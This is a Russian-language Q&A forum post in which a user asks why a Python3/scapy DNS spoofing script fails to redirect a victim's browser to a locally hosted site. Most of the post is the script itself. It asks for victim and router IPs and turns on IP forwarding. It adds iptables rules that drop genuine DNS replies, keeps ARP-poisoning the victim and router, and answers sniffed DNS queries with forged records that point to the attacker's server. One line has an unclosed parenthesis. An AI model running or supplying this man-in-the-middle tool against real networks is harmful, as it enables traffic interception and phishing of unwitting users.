Python3 HTML DNS Спуфинг не перенаправляет сайт - PullRequest
0 голосов
/ 24 февраля 2020

Я использую python3 для создания базового c DNS-спуфингового приложения, которое распознает HTML DNS-запрос и ответит специально созданным ответом на мой собственный локально размещенный веб-сайт. Однако я не уверен, как заставить его перенаправить веб-сайт на локально размещенный. Я запустил программу, открыл браузер, и он показывает ответы, но он идет на любой веб-сайт, который я набрал, а не на мой локально размещенный. По сути, я не уверен, что я пропустил или испортил.

Вот как это выглядит в настоящее время:

import socket
import sys
import threading
import fcntl
import signal
import time
import nmap
from scapy.all import *
import netifaces as nif


try:
    victimIP = input("Victim IP: ")
    routerIP = input("Router IP: ")
    spoofIP = input("Webserver IP: ")
except KeyboardInterrupt:
    print ("\n[*] User Requested Shutdown")
    print ("[*] Exiting...")
    sys.exit(1)


os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p udp --sport 53 -d" + victimIP + " -j DROP")
os.system("iptables -A FORWARD -p tcp --sport 53 -d" + victimIP + " -j DROP")


def signal_handler(signal, frame):
    os.kill(os.getpid(), signal)

def get_ip_address():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(('8.8.8.8', 1))
    return s.getsockname()[0]


def iface_for_ip(ip):
    for iface in nif.interfaces():
        addrs = nif.ifaddresses(iface)
        try:
            iface_mac = str(addrs[nif.AF_LINK][0]['addr'])
            iface_ip = str(addrs[nif.AF_INET][0]['addr'])
        except KeyError:
            iface_mac = iface_ip = None

        if iface_ip == ip:
            return iface
    return None

def mac_for_ip(ip):
    interface = iface_for_ip(ip)
    conf.verb = 0
    ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip), timeout = 2, iface = interface, inter = 0.1)
    for snd,rcv in ans:
        return str(rcv.sprintf(r"%Ether.src%"))

my_ip = get_ip_address()
my_mac = mac_for_ip(my_ip)
target_mac = mac_for_ip(victimIP)
router_mac = mac_for_ip(routerIP)

def initialize():

    victim_packet = Ether(
        src=my_mac,        
        dst=target_mac    
    )/ARP(
        hwsrc=my_mac,     
        hwdst=target_mac, 
        psrc=routerIP,    
        pdst=victimIP,    
        op=2               
    )

    router_packet = Ether(
        src=my_mac,       
        dst=router_mac     
    )/ARP(
        hwsrc=my_mac,     
        hwdst=router_mac,  
        psrc=victimIP,   
        pdst=routerIP,   
        op=2              
    )

    #filter_string = 'udp and port 53 and src ' + victimIP
    filter_string = 'udp and port 53'
    sniffThrd = threading.Thread(target=sniff_thread, args=(filter_string,))

    thrd = threading.Thread(target=arp_thread, args=(victim_packet, router_packet))

    sniffThrd.start()
    thrd.start()
    sniffThrd.join(1)
    thrd.join(1)

def arp_thread(victim_packet, router_packet):
    while 1:
        time.sleep(1.5)
        sendp(victim_packet, verbose=0)
        sendp(router_packet, verbose=0)

def sniff_thread(filter_string):
    sniff(prn=process_dns, filter=filter_string, store=0

def process_dns(pkt):
    if ('DNS' in pkt and pkt['DNS'].opcode == 0 and pkt['DNS'].ancount == 0 and pkt['IP'].src != get_ip_address()):
        #print 'dns request'
        pkt.show()
        spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
            / UDP(dport=pkt[UDP].sport, sport=53) \
            / DNS(id=pkt[DNS].id, qr=1, \
                  qd=DNSQR(qname=pkt[DNSQR].qname),\
                  an=DNSRR(rrname=pkt[DNSQR].qname, rdata=spoofIP, ttl=3600))

        send(spfResp, verbose=0)
        return "Spoofed DNS Response Sent"


if __name__ == "__main__":
    signal.signal(signal.SIGINT, signal_handler)
    try:
        initialize()
    except KeyboardInterrupt:
        exit = True
        raise
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...